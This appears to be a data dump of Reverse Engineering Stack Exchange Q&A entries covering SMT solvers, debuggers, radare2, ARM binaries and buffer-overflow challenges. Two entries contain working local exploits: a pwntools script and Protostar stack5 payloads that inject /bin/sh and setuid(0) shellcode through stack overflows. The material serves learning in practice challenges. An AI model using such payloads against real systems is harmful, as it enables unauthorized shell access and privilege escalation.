        "Answer": "<p>One common method of finding out the needed input to reach a specific execution flow (or a target instruction/function) is done using <a href=\"https://en.wikipedia.org/wiki/Satisfiability_modulo_theories\" rel=\"nofollow noreferrer\">SMT solvers</a>.</p>\n\n<p>SMT solvers are programs that accept a set of symbols, potentially conflicting conditions and a set of defined operations between them, as well as a desired outcome/target. An SMT solver will attempt to provide a \"solution\" to the given constraints, in the defined domain space.</p>\n\n<p>As mentioned, this topic is tightly related to <a href=\"/questions/tagged/fuzzing\" class=\"post-tag\" title=\"show questions tagged &#39;fuzzing&#39;\" rel=\"tag\">fuzzing</a> and symbolic execution, of course. That is also the main context in which SMT solvers (and similar techniques/approaches) are used in the security industry. Couple folks in the industry have also spent a lot of their time on that, namely <a href=\"https://reverseengineering.stackexchange.com/users/182/rolf-rolles\">Rolf Rolles</a>.</p>\n\n<p>There are a few SMT solvers that are commonly used in the security industry community (that I'm aware of):</p>\n\n<ol>\n<li><a href=\"https://github.com/Z3Prover/z3\" rel=\"nofollow noreferrer\">Z3</a> by Microsoft is a widely known one. </li>\n<li><a href=\"https://triton.quarkslab.com/\" rel=\"nofollow noreferrer\">Triton</a> is another.</li>\n<li><a href=\"http://angr.io\" rel=\"nofollow noreferrer\">angr</a> is a library focused on lifting assembly to IR and solving constraints.</li>\n</ol>\n\n<p>Additionally, there are a <s>bunch</s> ton of solvers over at the <a href=\"https://en.wikipedia.org/wiki/Satisfiability_modulo_theories#SMT_solvers\" rel=\"nofollow noreferrer\">wiki page</a>.</p>\n"
    },
    {
        "Id": "18492",
        "CreationDate": "2018-06-09T17:18:17.187",
        "Body": "<p>Currently working through an introductory shellcoding challenge, and having trouble getting the shellcode to work consistently.</p>\n\n<p>I'm working on a 32bit Linux binary. I found this shellcode:</p>\n\n<p><a href=\"http://shell-storm.org/shellcode/files/shellcode-827.php\" rel=\"noreferrer\">http://shell-storm.org/shellcode/files/shellcode-827.php</a></p>\n\n<pre><code>xor    %eax,%eax\npush   %eax\npush   $0x68732f2f\npush   $0x6e69622f\nmov    %esp,%ebx\npush   %eax\npush   %ebx\nmov    %esp,%ecx\nmov    $0xb,%al\nint    $0x80\n</code></pre>\n\n<p>As a first step, I ran the shellcode in a simple test program:</p>\n\n<pre><code>#include&lt;stdio.h&gt;\n#include&lt;string.h&gt;\n\nunsigned char code[] = \\ \n\"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\"\n\"\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\";\n\nmain()\n{\n    printf(\"Shellcode length: %d\\n\", strlen(code));\n    int (*ret)() = (int(*)())code;\n    ret();\n}\n</code></pre>\n\n<p>Shellcode works perfectly in this test program. Problems start when I move the shellcode into the actual challenge binary. I can confirm in GDB that:</p>\n\n<ol>\n<li>Code execution is re-directed into the stack.</li>\n<li>The shellcode assembly is correct in the stack.</li>\n</ol>\n\n<p>However, when program execution gets to one of these two lines in the shellcode:</p>\n\n<pre><code>0xffffd0e4:    push       %ebx\n0xffffd0e5:    mov        %esp,%ecx\n</code></pre>\n\n<p>I get:</p>\n\n<pre><code>SIGSEGV, Segmentation fault\n</code></pre>\n\n<p>My question is: why does shellcode that works in a test program fail in the actual binary? How would I go about troubleshooting this?</p>\n\n<p>Thank you!</p>\n",
        "Title": "Shellcode challenge - shellcode works in test program, segfaults in actual binary",
        "Tags": "|shellcode|",
        "Answer": "<p>It looks like you have two issues.</p>\n\n<p>1) You are overwriting your input buffer with those <code>push</code>-es so that why you have some junk on the stack and that's why our application crashes.</p>\n\n<p>See those two pictures that show your assembly before and after executing the second push for the /bin/sh</p>\n\n<p>Before\n<a href=\"https://i.stack.imgur.com/0N176.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/0N176.png\" alt=\"enter image description here\"></a></p>\n\n<p>After\n<a href=\"https://i.stack.imgur.com/EOcBK.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/EOcBK.png\" alt=\"enter image description here\"></a></p>\n\n<p>You can clearly see odd <code>das</code> and <code>bound</code> opcodes instead of <code>push</code>es.</p>\n\n<p>2) You're not taking into account that the code is relocated so your buffer is not always in the same place. When you run from <code>gdb</code> you have the code that will jump to the beginning of the buffer (this is the part <code>\\xc0\\xd0\\xff\\xff</code>) and for your <code>gdb</code> sessions, this is true since <code>gdb</code> turns <a href=\"https://en.wikipedia.org/wiki/Address_space_layout_randomization\" rel=\"nofollow noreferrer\">ASLR</a> off. </p>\n\n<p>You can check that by issuing this command in <code>gdb</code>:</p>\n\n<blockquote>\n  <p>gdb-peda$ show disable-randomization <br />\n  Disabling randomization of debuggee's virtual address space is on.</p>\n</blockquote>\n\n<p>If you change that by <code>set disable-randomization off</code> it should start failing also in <code>gdb</code> as the buffer will be located each time at a different location.</p>\n\n<p>In order to do this correctly, you need to locate where the buffer is. This is also why you have a tip where it is located in the first message.</p>\n\n<p>To compensate for that two issues I would use <a href=\"https://github.com/Gallopsled/pwntools#readme\" rel=\"nofollow noreferrer\">pwntools</a> for this and prepare a script:</p>\n\n<pre><code>from pwn import *\n\ncontext(arch='i386', os='linux')\n\nr = process('./shellcoding.dms')\n# read the line that has the info about the address\nl = r.recvline()\nprint l\n# extract it\naddr = int(l[18:], 16)\n#nop sled at the end but not actually needed. We only need to fill the space for the buffer to overwrite the ret\nexploit = \"\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80\"+\"\\x90\"*21 \nprint \"Address is: \"+hex(addr)\n# add an address to be taken from the stack by ret\nexploit += p32(addr) \n\nr.send(exploit+\"\\n\")\n# read the \"ok... lets see if you got it...\" message\nr.recvline()\nr.interactive() #pwn\n</code></pre>\n\n<p>Running this should work!</p>\n"
    },
    {
        "Id": "18504",
        "CreationDate": "2018-06-11T15:25:13.153",
        "Body": "<p>I have attached debugger to process/application (exe), but when i go to string references, it shows ntdll.dll references, instead of program.\nhow to get the references from program itself?\nis it protected?</p>\n\n<p><a href=\"https://i.stack.imgur.com/0Wg7o.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/0Wg7o.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "How to view string references?",
        "Tags": "|x64dbg|",
        "Answer": "<p>When x64dbg attaches to a process it will first stop at the 'Attach breakpoint'. The button to search for string references will search the module currently shown in the disassembly. To search in another module you simply have to go there.</p>\n\n<p>One way to do this is to go to the <code>Symbols</code> tab and double click the module you are interested in. This should take you to the code section of the module. From there you can press the button to search for string references.</p>\n"
    },
    {
        "Id": "18525",
        "CreationDate": "2018-06-14T14:46:45.193",
        "Body": "<p>Hello I'm playing with my native android library, everything was going smoothly till now. I have problem with opcodes, i don't know how to tell radare2 to write str opcode with specifc registry,  and point it to stack pointer and local variable. </p>\n\n<p>Details below:</p>\n\n<p>Lib loaded via : </p>\n\n<blockquote>\n  <p>r2 -Aw lib/arm64-v8a/libnative-lib.so</p>\n</blockquote>\n\n<p>Before changes</p>\n\n<pre><code>|           ; var int local_ch @ sp+0xc\n|           ; var int local_10h @ sp+0x10\n|           ; var int local_18h @ sp+0x18\n[...]\n|           0x0000946c      e00f00f9       str x0, [sp + local_18h]\n|           0x00009470      e10b00f9       str x1, [sp + local_10h]\n</code></pre>\n\n<p>Applying changes</p>\n\n<pre><code>[0x00009470]&gt; wa str x1,sp+local_10h\nWritten 4 byte(s) (str x1,sp+local_10h) = wx e10300f9\n</code></pre>\n\n<p>Unwanted output</p>\n\n<pre><code>[0x00009470]&gt; pd 1\n|           0x00009470      e10300f9       str x1, [sp]\n</code></pre>\n\n<p>Output that i want but don't know how to get it (note the  \"<strong>+ local_10h</strong>\" label) </p>\n\n<pre><code>  [0x00009470]&gt; pd 1\n  |           0x00009470     e10b00f9       str x1, [sp + local_10h]\n</code></pre>\n",
        "Title": "How to write [sp+local_variable] in radare2",
        "Tags": "|arm|radare2|",
        "Answer": "<p>So to make an order from the comments - you can do it by using two approaches.</p>\n\n<ol>\n<li><p>Use the original opcodes and write them using <code>wx</code> which stands for \"<strong>w</strong>rite <strong>h</strong>ex\":</p>\n\n<pre><code>wx e10b00f9\n</code></pre></li>\n<li><p>If you still want to use <code>wa</code> you can do this like this:</p>\n\n<pre><code>wa str x1,sp,0x10\n</code></pre></li>\n</ol>\n\n<p>In general, handling function's local variables can be done using the <code>afv</code> command and subcommands. Execute <code>afv?</code> to see its subcommands:</p>\n\n<pre><code>[0x00000000]&gt; afv?\n|Usage: afv[rbs]\n| afvr[?]                     manipulate register based arguments\n| afvb[?]                     manipulate bp based arguments/locals\n| afvs[?]                     manipulate sp based arguments/locals\n| afv*                        output r2 command to add args/locals to flagspace\n| afvR [varname]              list addresses where vars are accessed (READ)\n| afvW [varname]              list addresses where vars are accessed (WRITE)\n| afva                        analyze function arguments/locals\n| afvd name                   output r2 command for displaying the value of args/locals in the debugger\n| afvn [old_name] [new_name]  rename argument/local\n| afvt [name] [new_type]      change type for given argument/local\n| afv-([name])                remove all or given var\n</code></pre>\n\n<p>By executing <code>afv</code> you'll see a list of all arguments, and both <code>bp</code> and <code>sp</code> based local variables. For example, by executing <code>afvs</code> you'll see a list of all stack-pointer based variables. Use <code>afvb</code> to see variables that are base-pointer based.</p>\n\n<p>After executing these commands, you'll see how these variable names were defined:</p>\n\n<pre><code>var int local_8h @ rsp+0x8\nvar int local_10h @ rsp+0x10\n</code></pre>\n\n<p>For example, you can see that <code>local_8h</code> is defined for <code>rsp+0x8</code>, and <code>local_10h</code> for <code>rsp+0x10</code>.<br>\nWhile debugging, you can use <code>afvd [var_name]</code> to shed more light on the variable.</p>\n"
    },
    {
        "Id": "18528",
        "CreationDate": "2018-06-15T11:01:13.213",
        "Body": "<p>I was just wondering if there was a way to force an interpretation of a block of code in x64dbg. </p>\n\n<p>The section im analyzing fluctuates between this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/B90aV.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/B90aV.png\" alt=\"enter image description here\"></a></p>\n\n<p>and this:</p>\n\n<p><a href=\"https://i.stack.imgur.com/lMFsv.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/lMFsv.png\" alt=\"enter image description here\"></a></p>\n",
        "Title": "Forcefully interpret code in x64dbg",
        "Tags": "|x64dbg|",
        "Answer": "<p>You are encountering the issue of <a href=\"https://stormsecurity.wordpress.com/tag/backward-disassembler\" rel=\"nofollow noreferrer\">backwards disassembly</a>. When you give x64dbg an address to disassemble at it will start decoding at exactly this address, go to the next instruction, etc.</p>\n\n<p>For example if you have the bytes:</p>\n\n<p><code>EB 00 48 83 C4 38 C3</code></p>\n\n<p>And you start disassembling at the first byte you will see:</p>\n\n<pre><code>0 | EB 00       | jmp 2\n2 | 48 83 C4 38 | add rsp,38\n6 | C3          | ret\n</code></pre>\n\n<p>If you start disassembling at the second byte you will see:</p>\n\n<pre><code>1 | 00 48 83    | add byte ptr ds:[rax-7D],cl\n4 | C4          | ???\n5 | 38 C3       | cmp bl,al\n</code></pre>\n\n<p>The reason you are seeing garbage like this when scolling up is that x64dbg has no idea about instruction starts and tries to heuristically determine what the previous instruction was based on the bytes. If the result of this algorithm is wrong x64dbg will disassemble at an incorrect location causing strange looking instructions. You can find the implementation of that algorithm <a href=\"https://github.com/x64dbg/x64dbg/blob/development/src/gui/Src/Disassembler/QBeaEngine.cpp#L19\" rel=\"nofollow noreferrer\">here</a>. It is based on the algorithm used inside OllyDbg.</p>\n\n<p>As some users suggested you can use analysis, but the results of this are not used during backwards disassembly because generally everything works fine.</p>\n"
    },
    {
        "Id": "18552",
        "CreationDate": "2018-06-18T21:39:13.473",
        "Body": "<p>Hi I'd like to run a python command <code>python -c 'print \"\\x90\"*52'</code> when the program start in <code>GDB</code>, as I would do when I execute : <code>python -c 'print \"\\x90\"*52' | ./myProg</code> . Does anyone knows any way to acheive this?<br></p>\n\n<p>What I've tried so far : \n<br></p>\n\n<ul>\n<li>`python -c 'print \"\\x90\"*52' ` run</li>\n<li>run `python -c 'print \"\\x90\"*52' `</li>\n</ul>\n\n<p>I really apologies if I'm not asking on the right StackExchange forum. Thanks.</p>\n\n<h2>EDIT</h2>\n\n<p>here is a useful link I found talking about input payloads redirection : <a href=\"https://reverseengineering.stackexchange.com/questions/13928/managing-inputs-for-payload-injection?noredirect=1&amp;lq=1\">Managing inputs for payload injection?</a></p>\n",
        "Title": "Run a python command with \"run\" on GDB",
        "Tags": "|gdb|python|",
        "Answer": "<p>You do not have to use another file, it is just redundant</p>\n\n<p>You can do this by using \"Here strings\". \nIn your example you can do :</p>\n\n<pre><code>r &lt;&lt;&lt; $(python -c \"print '\\x90'*52\")\n</code></pre>\n\n<p>You can read about \"Here strings\" <a href=\"https://www.tldp.org/LDP/abs/html/x17837.html\" rel=\"noreferrer\">here</a></p>\n"
    },
    {
        "Id": "18556",
        "CreationDate": "2018-06-19T02:54:13.623",
        "Body": "<h1>Issue</h1>\n\n<p>I'm hoping someone can help me determine why this binary won't execute.</p>\n\n<p>It is a closed-source, stripped ARM binary. That said, it is freely downloadable on the internet so there is a link to it at the bottom of this post.</p>\n\n<p>The target is an ARM binary pulled from a firmware image. I have set up an ARM VM, but have also tried running the binary on a Pi with the same result.</p>\n\n<p>Here is what I'm seeing:</p>\n\n<pre><code>root@debian-armel:/tmp/squashfs-root/usr/bin# ./my_arm_bin \nIllegal instruction\n</code></pre>\n\n<p>That \"Illegal instruction\" error is not super helpful... so I dug in a little deeper.</p>\n\n<h1>My VM</h1>\n\n<p>I don't think the problem is my VM. It is a pretty standard ARM VM setup. From: <a href=\"https://people.debian.org/~aurel32/qemu/armel/\" rel=\"noreferrer\">https://people.debian.org/~aurel32/qemu/armel/</a></p>\n\n<p>Using <code>debian_squeeze_armel_standard.qcow2</code>, <code>initrd.img-2.6.32-5-versatile</code>, and <code>vmlinuz-2.6.32-5-versatile</code>. It is launched with QEMU with a few ports forwarded (ssh,http,31337 for gdb stuff). I am able to execute other ARM binaries on the system without issue, including other binaries pulled from the same firmware image.</p>\n\n<p>Also, as mentioned before I've tried dropping the binary onto a Pi with no luck. I tried both as root on the pi, as well as in a chroot'ed environment with the rootfs of the extracted firmware image, same result: <code>Illegal Instruction</code>.</p>\n\n<h1>r2 Info</h1>\n\n<p><code>rabin2 -I my_arm_bin</code>:</p>\n\n<pre><code>Warning: Cannot initialize dynamic strings\narch     arm\nbinsz    44831825\nbintype  elf\nbits     32\ncanary   false\nclass    ELF32\ncrypto   false\nendian   little\nhavecode true\nlang     c\nlinenum  false\nlsyms    false\nmachine  ARM\nmaxopsz  16\nminopsz  1\nnx       false\nos       linux\npcalign  0\npic      false\nrelocs   false\nrpath    NONE\nstatic   true\nstripped true\nsubsys   linux\nva       true\n</code></pre>\n\n<h1>Additional Debugging (gdb w/ gef on Pi)</h1>\n\n<p>So, time to attach a debugger and see exactly what instruction is actually throwing that error. This was done on a Pi.</p>\n\n<p>After starting up and breaking on entry, using <code>ni</code> to single step, I see:</p>\n\n<pre><code>gef&gt; x/20i $pc\n=&gt; 0x796a0: mov r11, #0\n   0x796a4: mov lr, #0\n   0x796a8: pop {r1}        ; (ldr r1, [sp], #4)\n   0x796ac: mov r2, sp\n   0x796b0: push    {r2}        ; (str r2, [sp, #-4]!)\n   0x796b4: push    {r0}        ; (str r0, [sp, #-4]!)\n   0x796b8: ldr r12, [pc, #16]  ; 0x796d0\n   0x796bc: push    {r12}       ; (str r12, [sp, #-4]!)\n   0x796c0: ldr r0, [pc, #12]   ; 0x796d4\n   0x796c4: ldr r3, [pc, #12]   ; 0x796d8\n   0x796c8: bl  0x4021a0\n   0x796cc: bl  0x401fa0\n   0x796d0: andeq   r2, r12, #200, 2    ; 0x32\n   0x796d4: andeq   r10, r1, r12, lsl #11\n   0x796d8: andeq   r2, r12, #40, 2\n   0x796dc: ldr r3, [pc, #20]   ; 0x796f8\n   0x796e0: ldr r2, [pc, #20]   ; 0x796fc\n   0x796e4: add r3, pc, r3\n   0x796e8: ldr r2, [r3, r2]\n   0x796ec: cmp r2, #0\ngef&gt; \n</code></pre>\n\n<p>It all looks like valid ARM instructions.</p>\n\n<p>In case it's relevant - All ldr instructions (0x796b8, 0x796c0, 0x796c4) in gdb are giving this message when executed: <code>Cannot access memory at address 0x0</code>. Some mov instructions throw this too.</p>\n\n<p>At <code>0x796c8: bl  0x4021a0</code>:</p>\n\n<pre><code>-&gt;   0x796c8                  bl     0x4021a0\n   \\-&gt;    0x4021a0                  ldr    pc,  [pc,  #-4]  ; 0x4021a4\n</code></pre>\n\n<p>And eventually we get here:</p>\n\n<pre><code>gef&gt; x/20i $pc\n=&gt; 0x20c1b30:   push    {r4, r5, r6, r7, lr}\n   0x20c1b34:   sub sp, sp, #300    ; 0x12c\n   0x20c1b38:   movw    r12, #0                 \n   0x20c1b3c:   mov r5, r3                          --&gt; Here is our illegal instruction\n   0x20c1b40:   movt    r12, #0\n   0x20c1b44:   str r1, [sp, #4]\n   0x20c1b48:   movw    r1, #65336  ; 0xff38\n   0x20c1b4c:   cmp r12, #0\n   0x20c1b50:   ldr r3, [sp, #4]\n   0x20c1b54:   str r2, [sp, #8]\n   0x20c1b58:   ldrne   r12, [r12]\n   0x20c1b5c:   add r2, r3, #1\n   0x20c1b60:   str r0, [sp, #12]\n   0x20c1b64:   movw    r3, #56376  ; 0xdc38\n   0x20c1b68:   ldr r7, [sp, #8]\n   0x20c1b6c:   movw    r0, #3092   ; 0xc14\n   0x20c1b70:   ldr lr, [sp, #328]  ; 0x148\n   0x20c1b74:   clzne   r12, r12\n   0x20c1b78:   movt    r0, #685    ; 0x2ad\n   0x20c1b7c:   movt    r1, #827    ; 0x33b\n</code></pre>\n\n<p>And of course a copy of the binary can be found here: <a href=\"https://mega.nz/#!CKxBQKaI!T__d9pjpOn_rPtfvPNkkPsFWHTjg7u-vDt5AK6610ug\" rel=\"noreferrer\">https://mega.nz/#!CKxBQKaI!T__d9pjpOn_rPtfvPNkkPsFWHTjg7u-vDt5AK6610ug</a></p>\n\n<p>So are the registers just not initialized to the right values? How can that be possible?</p>\n\n<p>To paraphrase from Archer: What am I not getting?... I think the core concept.</p>\n\n<p>I am probably missing a critical idea here. I'm hoping someone can help fill in the blank(s).</p>\n\n<p><strong>UPDATE 1:</strong></p>\n\n<p>At @0xC0000022L suggestion I looked into making sure the ARM revision of my VM/Pi matches that of the binary. As far as I can tell they do. Just comparing a binary from the VM to my my ARM binary I'm trying to get running their ABIs match (32-bit ARMv5):</p>\n\n<pre><code>$ file my_arm_bin \nmy_arm_bin: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), statically linked, for GNU/Linux 2.6.16, stripped\n $ file /usr/bin/id\n/usr/bin/id: ELF 32-bit LSB executable, ARM, EABI5 version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux-armhf.so.3, for GNU/Linux 2.6.32, stripped\n</code></pre>\n\n<p><strong>UPDATE 2:</strong></p>\n\n<p>At @perror suggestion I tried forcing the binary to execute in thumb mode. For context here is the disassembly when running in \"arm\" (non-thumb) mode:</p>\n\n<pre><code>gef&gt; x/10i $pc\n=&gt; 0x20c1b38:   movw    r12, #0\n   0x20c1b3c:   mov r5, r3\n   0x20c1b40:   movt    r12, #0\n   0x20c1b44:   str r1, [sp, #4]\n   0x20c1b48:   movw    r1, #65336  ; 0xff38\n   0x20c1b4c:   cmp r12, #0\n   0x20c1b50:   ldr r3, [sp, #4]\n   0x20c1b54:   str r2, [sp, #8]\n   0x20c1b58:   ldrne   r12, [r12]\n   0x20c1b5c:   add r2, r3, #1\n</code></pre>\n\n<p>Forcing thumb mode, I now see:</p>\n\n<pre><code>gef&gt; set arm force-mode thumb\ngef&gt; x/10i $pc\n=&gt; 0x20c1b38:   stmia   r0!, {}\n   0x20c1b3a:   b.n 0x20c213e\n   0x20c1b3c:   str r3, [r0, r0]\n   0x20c1b3e:   b.n 0x20c1e82\n   0x20c1b40:   stmia   r0!, {}\n   0x20c1b42:   b.n 0x20c21c6\n   0x20c1b44:   asrs    r4, r0, #32\n   0x20c1b46:   b.n 0x20c1664\n   0x20c1b48:   subs    r0, r7, #4\n   0x20c1b4a:   b.n 0x20c216c\n</code></pre>\n\n<p>Forcing thumb mode prior to execution, the program exits immediately with the following error:</p>\n\n<pre><code>[!] Cannot disassemble from $PC\n[!] Cannot access memory at address 0x6ac\n</code></pre>\n\n<p>Starting the executable up, breaking and switching modes exits with an Illegal instruction error.</p>\n",
        "Title": "Why is this ARM binary throwing an 'Illegal instruction' error and quitting?",
        "Tags": "|arm|",
        "Answer": "<p>From a preliminary analysis the binary looks to be of atleast ARMv7. It runs under qemu-user without problems.</p>\n\n<pre><code>$ qemu-arm --version\nqemu-arm version 2.11.0\nCopyright (c) 2003-2017 Fabrice Bellard and the QEMU Project developers\n\n$ qemu-arm ./my_arm_bin \n+++++++++++++++++++++++++++++++++\nName:storage\nVersion:1.05.3\nBuild date:Apr 24 2018 13:16:31\nDesc:DriverManager release\n+++++++++++++++++++++++++++++++++\n+++++++++++++++++++++++++++++++++\nName:manager\nVersion:1.03.1\nBuild date:Apr 24 2018 13:16:31\nDesc:\n+++++++++++++++++++++++++++++++++\n+++++++++++++++++++++++++++++++++\nName:manager\nVersion:1.03.1\nBuild date:Apr 24 2018 13:16:31\nDesc:\n+++++++++++++++++++++++++++++++++\n+++++++++++++++++++++++++++++++++\nName:guictrls\nVersion:1.05.5\nBuild date:Apr 24 2018 13:16:31\nDesc:GUI ctrls Relese\n+++++++++++++++++++++++++++++++++\n+++++++++++++++++++++++++++++++++\nName:OS\nVersion:1.00.1\nBuild date:Apr 24 2018 13:16:31\nDesc:OS Relese\n------snip-------------------\n</code></pre>\n\n<p>However, running under a ARMv6 QEMU VM it crashes with an Illegal instruction, similar to yours. Digging deep there're indeed some instructions which are invalid under ARMv5.</p>\n\n<pre><code>\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500[ code:arm ]\u2500\u2500\u2500\u2500\n    0x20c1b2c                  bl     0x20d434c\n    0x20c1b30                  push   {r4,  r5,  r6,  r7,  lr}\n    0x20c1b34                  sub    sp,  sp,  #300    ; 0x12c\n \u2192  0x20c1b38                  movw   r12,  #0\n    0x20c1b3c                  mov    r5,  r3\n    0x20c1b40                  movt   r12,  #0\n    0x20c1b44                  str    r1,  [sp,  #4]\n    0x20c1b48                  movw   r1,  #65336   ; 0xff38\n    0x20c1b4c                  cmp    r12,  #0\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500[ threads ]\u2500\u2500\u2500\u2500\n[#0] Id 1, Name: \"my_arm.bin\", stopped, reason: SIGILL\n\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500\u2500[ trace ]\u2500\u2500\u2500\u2500\n[#0] 0x20c1b38 \u2192 movw r12,  #0\n[#1] 0x796cc \u2192 bl 0x401fa0\n</code></pre>\n\n<p>Above it crashed on the <code>movw   r12,  #0</code> at <code>0x20c1b38</code>. Now the <code>movw</code> was introduced in ARMv7 and unavailable in ARMv5. Similarly the <code>movt</code> instruction is also invalid under v5.</p>\n\n<p><a href=\"https://i.stack.imgur.com/cn6By.png\" rel=\"noreferrer\"><img src=\"https://i.stack.imgur.com/cn6By.png\" alt=\"enter image description here\"></a></p>\n\n<p><strong><a href=\"http://infocenter.arm.com/help/index.jsp?topic=/com.arm.doc.dai0425/BABHFAFI.html\" rel=\"noreferrer\">Image Source</a></strong></p>\n\n<p>This explains why ARM v5/v6 qemu is crashing. So to run the binary you would atleast need an ARMv7 QEMU vm or the Raspberry Pi 2 which sports an ARMv7 processor.</p>\n"
    },
    {
        "Id": "18558",
        "CreationDate": "2018-06-19T10:36:12.650",
        "Body": "<p>I'm playing with Basic Buffer Overflow Protostar - Stack 5</p>\n\n<pre><code>#include &lt;stdlib.h&gt;\n#include &lt;unistd.h&gt;\n#include &lt;stdio.h&gt;\n#include &lt;string.h&gt;\n\n//gcc -z execstack -fno-stack-protector -mpreferred-stack-boundary=2 -m32 -g bof2.c -o bof2\n//sudo bash -c 'echo 0 &gt; /proc/sys/kernel/randomize_va_space'\n\n\nint main(int argc, char **argv)\n{\n  char buffer[64];\n\n  gets(buffer);\n}\n</code></pre>\n\n<p>Then I try simple shellcode <a href=\"http://shell-storm.org/shellcode/files/shellcode-811.php\" rel=\"nofollow noreferrer\">http://shell-storm.org/shellcode/files/shellcode-811.php</a></p>\n\n<p>So final payload looks like this </p>\n\n<pre><code>(python -c \"print 'A'*72+'\\xf4\\xd1\\xff\\xff'+'\\x90'*200+'\\x31\\xc0\\x50\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3\\x89\\xc1\\x89\\xc2\\xb0\\x0b\\xcd\\x80\\x31\\xc0\\x40\\xcd\\x80'\"; tee) | ./protostar-stack5\n</code></pre>\n\n<p>It works like expected, so when I type <code>id</code> in STDIN then STDOUT will be my current <code>id</code> and so on.</p>\n\n<p>Now I want to try shellcode with <code>SETUID(0)</code> here is the link <a href=\"http://shell-storm.org/shellcode/files/shellcode-598.php\" rel=\"nofollow noreferrer\">http://shell-storm.org/shellcode/files/shellcode-598.php</a></p>\n\n<p>so my final payload will be </p>\n\n<pre><code>(python -c \"print 'A'*72+'\\xf4\\xd1\\xff\\xff'+'\\x90'*200+'\\x31\\xdb\\x8d\\x43\\x17\\xcd\\x80\\x53\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50\\x53\\x89\\xe1\\x99\\xb0\\x0b\\xcd\\x80'\"; tee) | ./protostar-stack5\n</code></pre>\n\n<p>When I type <code>id</code> in STDIN I got <code>Segmentation Fault</code></p>\n\n<p>So I decide to check by step into from NOP to Shellcode inside GDB</p>\n\n<pre><code>   0xffffd235:  nop\n   0xffffd236:  nop\n   0xffffd237:  nop\n=&gt; 0xffffd238:  xor    ebx,ebx ; Start of Shellcode\n   0xffffd23a:  lea    eax,[ebx+0x17]\n   0xffffd23d:  int    0x80\n   0xffffd23f:  push   ebx\n   0xffffd240:  push   0x68732f6e\n   0xffffd245:  push   0x69622f2f\n   0xffffd24a:  mov    ebx,esp\n   0xffffd24c:  push   eax\n   0xffffd24d:  push   ebx\n   0xffffd24e:  mov    ecx,esp\n   0xffffd250:  cdq    \n   0xffffd251:  mov    al,0xb\n=&gt; 0xffffd253:  int    0x80  ; End Of Shellcode\n   0xffffd255:  add    bh,bh ; Still executed\n   0xffffd257:  dec    DWORD PTR [ebx-0x25] ; Still executed\n   0xffffd25a:  (bad)  ; Still executed, this cause Segmentation fault\n   0xffffd25b:  jmp    DWORD PTR [edx-0x25]\n   0xffffd25e:  (bad)  \n   0xffffd25f:  push   DWORD PTR [ebx+ebx*8-0x1]\n\nLegend: code, data, rodata, value\nStopped reason: SIGILL\n0xffffd25a in ?? ()\n</code></pre>\n\n<p>I step into from start of shellcode till the end of shellcode, I got no error but shell doesn't appear and it still execute instruction after the end of shellcode then it will be <code>Segmentation Fault</code> in the end</p>\n\n<p>I have already set SUID Bit in compiled program.</p>\n\n<p>So Why I got <code>Segmentation Fault</code> instead of executing shell?</p>\n\n<p>Why instruction after <code>INT 80</code> still executed, it's different with basic shellcode 